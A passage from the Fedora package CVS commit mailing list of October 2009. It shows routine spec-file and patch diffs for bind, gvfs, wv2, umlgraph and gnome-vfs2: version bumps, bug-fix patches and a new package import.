       <packagereq type="optional">gweled</packagereq>
       <packagereq type="optional">hedgewars</packagereq>
       <packagereq type="optional">kbilliards</packagereq>
+      <packagereq type="optional">kcheckers</packagereq>
       <packagereq type="optional">kcirbshooter</packagereq>
       <packagereq type="optional">kdeaddons-atlantikdesigner</packagereq>
       <packagereq type="optional">kdegames</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- comps-f13.xml.in	6 Oct 2009 20:37:08 -0000	1.35
+++ comps-f13.xml.in	8 Oct 2009 14:39:23 -0000	1.36
@@ -2247,6 +2247,7 @@
       <packagereq type="optional">gweled</packagereq>
       <packagereq type="optional">hedgewars</packagereq>
       <packagereq type="optional">kbilliards</packagereq>
+      <packagereq type="optional">kcheckers</packagereq>
       <packagereq type="optional">kcirbshooter</packagereq>
       <packagereq type="optional">kdeaddons-atlantikdesigner</packagereq>
       <packagereq type="optional">kdegames</packagereq>



From atkac at fedoraproject.org  Thu Oct  8 14:40:32 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Thu,  8 Oct 2009 14:40:32 +0000 (UTC)
Subject: rpms/bind/devel bind.spec,1.328,1.329
Message-ID: <20091008144032.EF94711C029B@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/bind/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6475

Modified Files:
	bind.spec 
Log Message:
- don't package named-bootconf utility, it is very outdated and unneeded



Index: bind.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bind/devel/bind.spec,v
retrieving revision 1.328
retrieving revision 1.329
diff -u -p -r1.328 -r1.329
--- bind.spec	21 Sep 2009 10:38:47 -0000	1.328
+++ bind.spec	8 Oct 2009 14:40:32 -0000	1.329
@@ -20,7 +20,7 @@ Summary:  The Berkeley Internet Name Dom
 Name:     bind
 License:  ISC
 Version:  9.7.0
-Release:  0.4.%{PREVER}%{?dist}
+Release:  0.5.%{PREVER}%{?dist}
 Epoch:    32
 Url:      http://www.isc.org/products/BIND/
 Buildroot:%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -316,7 +316,6 @@ make DESTDIR=${RPM_BUILD_ROOT} install
 # Remove unwanted files
 rm -f ${RPM_BUILD_ROOT}/etc/bind.keys
 
-install -m 755 contrib/named-bootconf/named-bootconf.sh ${RPM_BUILD_ROOT}%{_sbindir}/named-bootconf
 install -m 755 %SOURCE2 ${RPM_BUILD_ROOT}/etc/rc.d/init.d/named
 install -m 644 %SOURCE3 ${RPM_BUILD_ROOT}/etc/logrotate.d/named
 install -m 755 %SOURCE4 ${RPM_BUILD_ROOT}/etc/NetworkManager/dispatcher.d/13-named
@@ -505,7 +504,6 @@ rm -rf ${RPM_BUILD_ROOT}
 %{_sbindir}/named-check*
 %{_sbindir}/lwresd
 %{_sbindir}/named
-%{_sbindir}/named-bootconf
 %{_sbindir}/rndc*
 %{_sbindir}/named-compilezone
 %{_mandir}/man1/arpaname.1*
@@ -595,6 +593,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %ghost %{chroot_prefix}/etc/localtime
 
 %changelog
+* Thu Oct 08 2009 Adam Tkac <atkac redhat com> 32:9.7.0-0.5.a3
+- don't package named-bootconf utility, it is very outdated and unneeded
+
 * Mon Sep 21 2009 Adam Tkac <atkac redhat com> 32:9.7.0-0.4.a3
 - determine file size via `stat` instead of `ls` (#523682)
 



From atkac at fedoraproject.org  Thu Oct  8 14:40:57 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Thu,  8 Oct 2009 14:40:57 +0000 (UTC)
Subject: rpms/bind/F-12 bind.spec,1.326,1.327
Message-ID: <20091008144057.CB4A111C00DB@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/bind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6600

Modified Files:
	bind.spec 
Log Message:
- don't package named-bootconf utility, it is very outdated and unneeded



Index: bind.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bind/F-12/bind.spec,v
retrieving revision 1.326
retrieving revision 1.327
diff -u -p -r1.326 -r1.327
--- bind.spec	21 Sep 2009 10:41:04 -0000	1.326
+++ bind.spec	8 Oct 2009 14:40:57 -0000	1.327
@@ -20,7 +20,7 @@ Summary:  The Berkeley Internet Name Dom
 Name:     bind
 License:  ISC
 Version:  9.6.1
-Release:  11.%{PATCHVER}%{?dist}
+Release:  12.%{PATCHVER}%{?dist}
 Epoch:    32
 Url:      http://www.isc.org/products/BIND/
 Buildroot:%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -316,7 +316,6 @@ touch ${RPM_BUILD_ROOT}/%{chroot_prefix}
 #end chroot
 
 make DESTDIR=${RPM_BUILD_ROOT} install
-install -m 755 contrib/named-bootconf/named-bootconf.sh ${RPM_BUILD_ROOT}%{_sbindir}/named-bootconf
 install -m 755 %SOURCE2 ${RPM_BUILD_ROOT}/etc/rc.d/init.d/named
 install -m 644 %SOURCE3 ${RPM_BUILD_ROOT}/etc/logrotate.d/named
 install -m 755 %SOURCE4 ${RPM_BUILD_ROOT}/etc/NetworkManager/dispatcher.d/13-named
@@ -500,7 +499,6 @@ rm -rf ${RPM_BUILD_ROOT}
 %{_sbindir}/named-check*
 %{_sbindir}/lwresd
 %{_sbindir}/named
-%{_sbindir}/named-bootconf
 %{_sbindir}/rndc*
 %{_sbindir}/named-compilezone
 %{_mandir}/man5/named.conf.5*
@@ -585,6 +583,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %ghost %{chroot_prefix}/etc/localtime
 
 %changelog
+* Thu Oct 08 2009 Adam Tkac <atkac redhat com> 32:9.6.1-12.P1
+- don't package named-bootconf utility, it is very outdated and unneeded
+
 * Mon Sep 21 2009 Adam Tkac <atkac redhat com> 32:9.6.1-11.P1
 - determine file size via `stat` instead of `ls` (#523682)
 



From tbzatek at fedoraproject.org  Thu Oct  8 14:45:02 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Thu,  8 Oct 2009 14:45:02 +0000 (UTC)
Subject: rpms/gvfs/F-12 gvfs-1.4.0-mountspec-from-string.patch, NONE,
	1.1 gvfs.spec, 1.159, 1.160
Message-ID: <20091008144502.F2DB711C00DB@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/gvfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7601

Modified Files:
	gvfs.spec 
Added Files:
	gvfs-1.4.0-mountspec-from-string.patch 
Log Message:
* Thu Oct  8 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-4
- Fix Nautilus not displaying friendly icons for SSH-connected system (#526892)
- Actually apply the logical partitions patch


gvfs-1.4.0-mountspec-from-string.patch:
 gmountspec.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE gvfs-1.4.0-mountspec-from-string.patch ---
>From 7a430e4dc930115b620bf3aa2b9682ee1047dc48 Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Thu, 8 Oct 2009 15:48:15 +0200
Subject: [PATCH] Fix creating mount_spec from string

Don't consume the ending character.
---
 common/gmountspec.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/common/gmountspec.c b/common/gmountspec.c
index c55f996..1a9a60a 100644
--- a/common/gmountspec.c
+++ b/common/gmountspec.c
@@ -514,7 +514,7 @@ g_mount_spec_new_from_string (const gchar     *str,
   if (colon)
     {
       item.key = g_strdup ("type");
-      item.value = g_strndup (str, colon - str - 1);
+      item.value = g_strndup (str, colon - str);
       g_array_append_val (items, item);
       str = colon + 1;
     }
-- 
1.6.5.rc2



Index: gvfs.spec
===================================================================
RCS file: /cvs/extras/rpms/gvfs/F-12/gvfs.spec,v
retrieving revision 1.159
retrieving revision 1.160
diff -u -p -r1.159 -r1.160
--- gvfs.spec	1 Oct 2009 23:21:39 -0000	1.159
+++ gvfs.spec	8 Oct 2009 14:45:02 -0000	1.160
@@ -1,7 +1,7 @@
 Summary: Backends for the gio framework in GLib
 Name: gvfs
 Version: 1.4.0
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -41,6 +41,9 @@ Patch1: 0001-Add-AFC-backend.patch
 Patch2: http-icons.patch
 # from upstream
 Patch3: consider-logical-partitions.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=526892
+# Nautilus not displaying friendly icons for SSH-connected system
+Patch4: gvfs-1.4.0-mountspec-from-string.patch
 
 %description
 The gvfs package provides backend implementations for the gio
@@ -135,6 +138,8 @@ and iPod Touches to applications using g
 %patch0 -p1 -b .archive-integration
 %patch1 -p1 -b .afc
 %patch2 -p1 -b .http-icons
+%patch3 -p1 -b .logical-partitions
+%patch4 -p1 -b .favicons
 
 %build
 
@@ -288,6 +293,10 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/gvfs/remote-volume-monitors/afc.monitor
 
 %changelog
+* Thu Oct  8 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-4
+- Fix Nautilus not displaying friendly icons for SSH-connected system (#526892)
+- Actually apply the logical partitions patch
+
 * Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> - 1.4.0-3
 - Consider logical partitions when deciding if a drive should be ignored
 



From rdieter at fedoraproject.org  Thu Oct  8 14:49:03 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 14:49:03 +0000 (UTC)
Subject: rpms/wv2/devel wv2.spec,1.18,1.19
Message-ID: <20091008144903.E47EC11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/wv2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8661

Modified Files:
	wv2.spec 
Log Message:
upstreamed patches



Index: wv2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wv2/devel/wv2.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- wv2.spec	11 Sep 2009 16:47:37 -0000	1.18
+++ wv2.spec	8 Oct 2009 14:49:03 -0000	1.19
@@ -14,7 +14,9 @@ Patch2: wv2-0.4.0-extra_libs.patch
 # see bug #343451
 Patch3: wv2-0.4.0-multilib.patch
 ## upstreamable patches
+# http://bugzilla.abisource.com/show_bug.cgi?id=12422
 Patch50: wv2-0.4.0-defines.patch
+# http://bugzilla.abisource.com/show_bug.cgi?id=12421
 Patch51: wv2-0.4.0-LIB_SUFFIX.patch
 
 BuildRequires: cmake



From tbzatek at fedoraproject.org  Thu Oct  8 14:51:35 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Thu,  8 Oct 2009 14:51:35 +0000 (UTC)
Subject: rpms/gvfs/devel consider-logical-partitions.patch, NONE,
	1.1 gvfs-1.4.0-mountspec-from-string.patch, NONE,
	1.1 http-icons.patch, NONE, 1.1 gvfs.spec, 1.157, 1.158
Message-ID: <20091008145135.7B9B311C00DB@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/gvfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9237

Modified Files:
	gvfs.spec 
Added Files:
	consider-logical-partitions.patch 
	gvfs-1.4.0-mountspec-from-string.patch http-icons.patch 
Log Message:
Sync to F12 branch


consider-logical-partitions.patch:
 ggduvolumemonitor.c |   42 ++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 40 insertions(+), 2 deletions(-)

--- NEW FILE consider-logical-partitions.patch ---
>From dfa4b522b5c19c4723004baab3e54592f9875597 Mon Sep 17 00:00:00 2001
From: David Zeuthen <davidz at redhat.com>
Date: Thu, 1 Oct 2009 16:49:32 -0400
Subject: [PATCH] =?UTF-8?q?Bug=20597041=20=E2=80=93=20Manual=20umount=20triggers=20mount=20request?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

We also need to consider logical partitions when determining if a
drive should be ignored.
---
 monitor/gdu/ggduvolumemonitor.c |   41 ++++++++++++++++++++++++++++++++++++++-
 1 files changed, 40 insertions(+), 1 deletions(-)

diff --git a/monitor/gdu/ggduvolumemonitor.c b/monitor/gdu/ggduvolumemonitor.c
index ac90ba4..83d8fc2 100644
--- a/monitor/gdu/ggduvolumemonitor.c
+++ b/monitor/gdu/ggduvolumemonitor.c
@@ -871,7 +871,7 @@ should_drive_be_ignored (GduPool *pool, GduDrive *d, GList *fstab_mount_points)
 
   /* never ignore a drive if it has volumes that we don't want to ignore */
   enclosed = gdu_pool_get_enclosed_presentables (pool, GDU_PRESENTABLE (d));
-  for (l = enclosed; l != NULL; l = l->next)
+  for (l = enclosed; l != NULL && all_volumes_are_ignored; l = l->next)
     {
       GduPresentable *enclosed_presentable = GDU_PRESENTABLE (l->data);
 
@@ -879,6 +879,7 @@ should_drive_be_ignored (GduPool *pool, GduDrive *d, GList *fstab_mount_points)
       if (GDU_IS_VOLUME (enclosed_presentable))
         {
           GduVolume *volume = GDU_VOLUME (enclosed_presentable);
+          GduDevice *volume_device;
 
           have_volumes = TRUE;
 
@@ -887,6 +888,44 @@ should_drive_be_ignored (GduPool *pool, GduDrive *d, GList *fstab_mount_points)
               all_volumes_are_ignored = FALSE;
               break;
             }
+
+          /* The volume may be an extended partition - we need to check all logical
+           * partitions as well (#597041)
+           */
+          volume_device = gdu_presentable_get_device (GDU_PRESENTABLE (volume));
+          if (volume_device != NULL)
+            {
+              if (g_strcmp0 (gdu_device_partition_get_scheme (volume_device), "mbr") == 0)
+                {
+                  gint type;
+
+                  type = strtol (gdu_device_partition_get_type (volume_device), NULL, 0);
+                  if (type == 0x05 || type == 0x0f || type == 0x85)
+                    {
+                      GList *enclosed_logical;
+                      GList *ll;
+
+                      enclosed_logical = gdu_pool_get_enclosed_presentables (pool, GDU_PRESENTABLE (volume));
+                      for (ll = enclosed_logical; ll != NULL && all_volumes_are_ignored; ll = ll->next)
+                        {
+                          GduPresentable *enclosed_logical_presentable = GDU_PRESENTABLE (ll->data);
+
+                          if (GDU_IS_VOLUME (enclosed_logical_presentable))
+                            {
+                              if (!should_volume_be_ignored (pool,
+                                                             GDU_VOLUME (enclosed_logical_presentable),
+                                                             fstab_mount_points))
+                                {
+                                  all_volumes_are_ignored = FALSE;
+                                }
+                            }
+                        }
+                      g_list_foreach (enclosed_logical, (GFunc) g_object_unref, NULL);
+                      g_list_free (enclosed_logical);
+                    }
+                }
+              g_object_unref (volume_device);
+            }
         }
     }
 
-- 
1.6.4.4



gvfs-1.4.0-mountspec-from-string.patch:
 gmountspec.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE gvfs-1.4.0-mountspec-from-string.patch ---
>From 7a430e4dc930115b620bf3aa2b9682ee1047dc48 Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Thu, 8 Oct 2009 15:48:15 +0200
Subject: [PATCH] Fix creating mount_spec from string

Don't consume the ending character.
---
 common/gmountspec.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/common/gmountspec.c b/common/gmountspec.c
index c55f996..1a9a60a 100644
--- a/common/gmountspec.c
+++ b/common/gmountspec.c
@@ -514,7 +514,7 @@ g_mount_spec_new_from_string (const gchar     *str,
   if (colon)
     {
       item.key = g_strdup ("type");
-      item.value = g_strndup (str, colon - str - 1);
+      item.value = g_strndup (str, colon - str);
       g_array_append_val (items, item);
       str = colon + 1;
     }
-- 
1.6.5.rc2


http-icons.patch:
 gvfsbackendhttp.c |   46 ++++++++++++++++++++++------------------------
 1 file changed, 22 insertions(+), 24 deletions(-)

--- NEW FILE http-icons.patch ---
diff --git a/daemon/gvfsbackendhttp.c b/daemon/gvfsbackendhttp.c
index 45ea54d..97c6ce7 100644
--- a/daemon/gvfsbackendhttp.c
+++ b/daemon/gvfsbackendhttp.c
@@ -47,6 +47,7 @@
 #include "gvfsjobqueryattributes.h"
 #include "gvfsjobenumerate.h"
 #include "gvfsdaemonprotocol.h"
+#include "gvfsdaemonutils.h"
 
 #include "soup-input-stream.h"
 
@@ -539,10 +540,12 @@ query_info_ready (SoupSession *session,
   const char            *text;
   GFileInfo             *info;
   char                  *basename;
+  char                  *ed_name;
 
   job     = G_VFS_JOB_QUERY_INFO (user_data);
   info    = job->file_info;
   matcher = job->attribute_matcher;
+  ed_name = NULL;
 
   if (! SOUP_STATUS_IS_SUCCESSFUL (msg->status_code))
     {
@@ -562,30 +565,18 @@ query_info_ready (SoupSession *session,
       g_file_attribute_matcher_matches (matcher,
                                         G_FILE_ATTRIBUTE_STANDARD_DISPLAY_NAME))
     {
-      char *display_name = g_filename_display_name (basename);
-
-      if (strstr (display_name, "\357\277\275") != NULL)
-        {
-          char *p = display_name;
-          display_name = g_strconcat (display_name, _(" (invalid encoding)"), NULL);
-          g_free (p);
-        }
-
-      g_file_info_set_display_name (info, display_name);
-      g_free (display_name);
+      ed_name = gvfs_file_info_populate_names_as_local (info, basename);
     }
 
-  if (basename != NULL &&
+  if (ed_name != NULL &&
       g_file_attribute_matcher_matches (matcher,
                                         G_FILE_ATTRIBUTE_STANDARD_EDIT_NAME))
     {
-      char *edit_name = g_filename_display_name (basename);
-      g_file_info_set_edit_name (info, edit_name);
-      g_free (edit_name);
-    } 
+      g_file_info_set_edit_name (info, ed_name);
+    }
 
   g_free (basename);
-
+  g_free (ed_name);
 
   text = soup_message_headers_get (msg->response_headers,
                                    "Content-Length");
@@ -601,15 +592,22 @@ query_info_ready (SoupSession *session,
   if (text)
     {
       char *p = strchr (text, ';');
+      char *tmp = NULL;
+      GIcon *icon;
 
       if (p != NULL)
-        {
-          char *tmp = g_strndup (text, p - text);
-          g_file_info_set_content_type (info, tmp);
-          g_free (tmp);
-        }
-      else
-        g_file_info_set_content_type (info, text);
+        text = tmp = g_strndup (text, p - text);
+
+      g_file_info_set_file_type (info, G_FILE_TYPE_REGULAR);
+      g_file_info_set_content_type (info, text);
+      g_file_info_set_attribute_string (info, G_FILE_ATTRIBUTE_STANDARD_FAST_CONTENT_TYPE, text);
+
+      icon = g_content_type_get_icon (text);
+      g_file_info_set_icon (info, icon);
+      g_object_unref (icon);
+
+      g_free (tmp);
+
     }
 
 


Index: gvfs.spec
===================================================================
RCS file: /cvs/extras/rpms/gvfs/devel/gvfs.spec,v
retrieving revision 1.157
retrieving revision 1.158
diff -u -p -r1.157 -r1.158
--- gvfs.spec	21 Sep 2009 15:09:47 -0000	1.157
+++ gvfs.spec	8 Oct 2009 14:51:35 -0000	1.158
@@ -1,7 +1,7 @@
 Summary: Backends for the gio framework in GLib
 Name: gvfs
 Version: 1.4.0
-Release: 1%{?dist}
+Release: 4%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -34,9 +34,16 @@ Requires(postun): desktop-file-utils
 BuildRequires: automake autoconf
 BuildRequires: libtool
 # http://bugzilla.gnome.org/show_bug.cgi?id=567235
-Patch1: gvfs-archive-integration.patch
+Patch0: gvfs-archive-integration.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=591005
-Patch10: 0001-Add-AFC-backend.patch
+Patch1: 0001-Add-AFC-backend.patch
+# from upstream
+Patch2: http-icons.patch
+# from upstream
+Patch3: consider-logical-partitions.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=526892
+# Nautilus not displaying friendly icons for SSH-connected system
+Patch4: gvfs-1.4.0-mountspec-from-string.patch
 
 %description
 The gvfs package provides backend implementations for the gio
@@ -128,8 +135,11 @@ and iPod Touches to applications using g
 
 %prep
 %setup -q
-%patch1 -p1 -b .archive-integration
-%patch10 -p1 -b .afc
+%patch0 -p1 -b .archive-integration
+%patch1 -p1 -b .afc
+%patch2 -p1 -b .http-icons
+%patch3 -p1 -b .logical-partitions
+%patch4 -p1 -b .favicons
 
 %build
 
@@ -283,6 +293,16 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/gvfs/remote-volume-monitors/afc.monitor
 
 %changelog
+* Thu Oct  8 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-4
+- Fix Nautilus not displaying friendly icons for SSH-connected system (#526892)
+- Actually apply the logical partitions patch
+
+* Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> - 1.4.0-3
+- Consider logical partitions when deciding if a drive should be ignored
+
+* Tue Sep 29 2009 Matthias Clasen <mclasen at redhat.com> - 1.4.0-2
+- Fix the lack of icons in the http backend
+
 * Mon Sep 21 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-1
 - Update to 1.4.0
 



From akurtakov at fedoraproject.org  Thu Oct  8 14:51:54 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Thu,  8 Oct 2009 14:51:54 +0000 (UTC)
Subject: rpms/umlgraph/devel umlgraph.spec, NONE, 1.1 doclet-5.1.pom, NONE, 
	1.1 sources, 1.1, 1.2
Message-ID: <20091008145154.24E9111C00DB@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/umlgraph/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9442/devel

Modified Files:
	sources 
Added Files:
	umlgraph.spec doclet-5.1.pom 
Log Message:
Initial import.


--- NEW FILE umlgraph.spec ---
Name:           umlgraph
Version:        5.2
Release:        2%{?dist}
Summary:        Automated Drawing of UML Diagrams

Group:          Development/Libraries
License:        BSD
URL:            http://umlgraph.org/
Source0:        http://umlgraph.org/UMLGraph-5.2.tar.gz
Source1:        http://repo2.maven.org/maven2/org/umlgraph/doclet/5.1/doclet-5.1.pom
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires(post):   jpackage-utils >= 0:1.7.4
Requires(postun): jpackage-utils >= 0:1.7.4

BuildRequires: ant
BuildRequires: graphviz
Requires: graphviz

BuildArch: noarch

%description
UMLGraph allows the declarative specification and drawing of UML class
and sequence diagrams. The specification is done in text diagrams, 
that are then transformed into the appropriate graphical representations. 

%package javadoc
Group:          Documentation
Summary:        Javadoc for %{name}

%description javadoc
API documentation for %{name}.

%prep
%setup -q -n UMLGraph-%{version}
sed -i -e 's|<attribute name=\"Class-Path\" value=\"tools.jar\"/>||g' build.xml
for f in $(find . -name "*.jar"); do
    mv $f $f.no
done

%build
%ant compile test javadocs

%install
rm -rf $RPM_BUILD_ROOT
# jars
install -d -m 755 $RPM_BUILD_ROOT%{_javadir}
install -m 644 lib/UmlGraph.jar \
    $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(cd $RPM_BUILD_ROOT%{_javadir} && for jar in *-%{version}*; do ln -sf ${jar} `echo $jar| sed  "s|-%{version}||g"`; done)

%add_to_maven_depmap org.umlgraph doclet %{version} JPP %{name}
install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/maven2/poms
install -m 644 %{SOURCE1} $RPM_BUILD_ROOT/%{_datadir}/maven2/poms/JPP-%{name}.pom

# javadoc
install -d -m 755 $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
rm -fr javadoc/gr/spinellis/umlgraph/doclet/*.dot
rm -fr javadoc/org/umlgraph/doclet/*.dot
cp -pr javadoc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
ln -s %{name}-%{version} $RPM_BUILD_ROOT%{_javadocdir}/%{name}

%clean
rm -rf $RPM_BUILD_ROOT

%post
%update_maven_depmap

%postun
%update_maven_depmap

%files
%defattr(-,root,root)
%doc README.txt
%{_javadir}/*
%{_datadir}/maven2
%{_mavendepmapfragdir}

%files javadoc
%defattr(-,root,root)
%doc %{_javadocdir}/%{name}-%{version}
%doc %{_javadocdir}/%{name}

%changelog
* Wed Oct 7 2009 Alexander Kurtakov <akurtako at redhat.com> 5.2-2
- Add missing BR/R on graphviz.

* Thu Oct 1 2009 Alexander Kurtakov <akurtako at redhat.com> 5.2-1
- Initial package.


--- NEW FILE doclet-5.1.pom ---
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.umlgraph</groupId>
  <artifactId>doclet</artifactId>
  <packaging>jar</packaging>
  <version>5.1</version>
  <name>doclet</name>
  <url>http://www.umlgraph.org/</url>
  <distributionManagement>
    <downloadUrl>http://www.umlgraph.org/jars/UmlGraph-5.1.jar</downloadUrl>
  </distributionManagement>
  <licenses>
    <license>
      <name>The Apache Software License, Version 2.0</name>
      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>
      <distribution>manual</distribution>
    </license>
  </licenses>
</project>


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/umlgraph/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:52:19 -0000	1.1
+++ sources	8 Oct 2009 14:51:53 -0000	1.2
@@ -0,0 +1 @@
+afdfe57b1c5dc57b698eceae63527358  UMLGraph-5.2.tar.gz



From akurtakov at fedoraproject.org  Thu Oct  8 14:54:05 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Thu,  8 Oct 2009 14:54:05 +0000 (UTC)
Subject: rpms/umlgraph/devel .cvsignore,1.1,1.2
Message-ID: <20091008145405.6FBAA11C00DB@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/umlgraph/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10051/devel

Modified Files:
	.cvsignore 
Log Message:
Initial import.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/umlgraph/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:52:19 -0000	1.1
+++ .cvsignore	8 Oct 2009 14:54:05 -0000	1.2
@@ -0,0 +1 @@
+UMLGraph-5.2.tar.gz



From alexl at fedoraproject.org  Thu Oct  8 14:57:43 2009
From: alexl at fedoraproject.org (Alexander Larsson)
Date: Thu,  8 Oct 2009 14:57:43 +0000 (UTC)
Subject: rpms/gnome-vfs2/F-12 .cvsignore, 1.57, 1.58 gnome-vfs2.spec, 1.197, 
	1.198 sources, 1.60, 1.61
Message-ID: <20091008145743.D14D611C00DB@cvs1.fedora.phx.redhat.com>

Author: alexl

Update of /cvs/pkgs/rpms/gnome-vfs2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11871

Modified Files:
	.cvsignore gnome-vfs2.spec sources 
Log Message:
* Thu Oct  8 2009 Alexander Larsson <alexl at redhat.com> - 2.24.2-1
- update to 2.24.2 - fixes mimetypes



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-vfs2/F-12/.cvsignore,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- .cvsignore	17 Mar 2009 15:31:27 -0000	1.57
+++ .cvsignore	8 Oct 2009 14:57:43 -0000	1.58
@@ -1 +1 @@
-gnome-vfs-2.24.1.tar.bz2
+gnome-vfs-2.24.2.tar.bz2


Index: gnome-vfs2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-vfs2/F-12/gnome-vfs2.spec,v
retrieving revision 1.197
retrieving revision 1.198
diff -u -p -r1.197 -r1.198
--- gnome-vfs2.spec	21 Aug 2009 13:43:15 -0000	1.197
+++ gnome-vfs2.spec	8 Oct 2009 14:57:43 -0000	1.198
@@ -13,8 +13,8 @@
 
 Summary: The GNOME virtual file-system libraries
 Name: gnome-vfs2
-Version: 2.24.1
-Release: 9%{?dist}
+Version: 2.24.2
+Release: 1%{?dist}
 License: LGPLv2+ and GPLv2+
 # the daemon and the library are LGPLv2+
 # the modules are LGPLv2+ and GPLv2+ 
@@ -77,10 +77,6 @@ Patch300: gnome-vfs-2.20.0-ignore-certai
 
 
 # backported from upstream
-Patch400: gnome-vfs-2.24.xx-cdda-handle-invalid-data.patch
-Patch401: gnome-vfs-2.24.xx-netware-mounts-as-non-local.patch
-Patch402: gnome-vfs-2.24.xx-smb-64k-length.patch
-Patch403: gnome-vfs-2.24.xx-uninitialized-struct.patch
 
 # gnome-vfs-daemon exits on dbus, and constantly restarted causing dbus/hal to hog CPU
 # https://bugzilla.redhat.com/show_bug.cgi?id=486286
@@ -137,10 +133,6 @@ shares (SMB) to applications using GNOME
 
 %patch300 -p1 -b .ignore-certain-mount-points
 
-%patch400 -p1 -b .cdda-invalid-data
-%patch401 -p1 -b .netware
-%patch402 -p1 -b .smb-64k
-%patch403 -p1 -b .uninitialized-struct
 %patch404 -p1 -b .utf8-mounts
 
 # for patch 10 and 4
@@ -264,6 +256,9 @@ fi
 %config %{_sysconfdir}/gnome-vfs-2.0/modules/smb-module.conf
 
 %changelog
+* Thu Oct  8 2009 Alexander Larsson <alexl at redhat.com> - 2.24.2-1
+- update to 2.24.2 - fixes mimetypes
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.24.1-9
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-vfs2/F-12/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	17 Mar 2009 15:31:27 -0000	1.60
+++ sources	8 Oct 2009 14:57:43 -0000	1.61
@@ -1 +1 @@
-100f9af16dc659e375ee8da45175a28d  gnome-vfs-2.24.1.tar.bz2
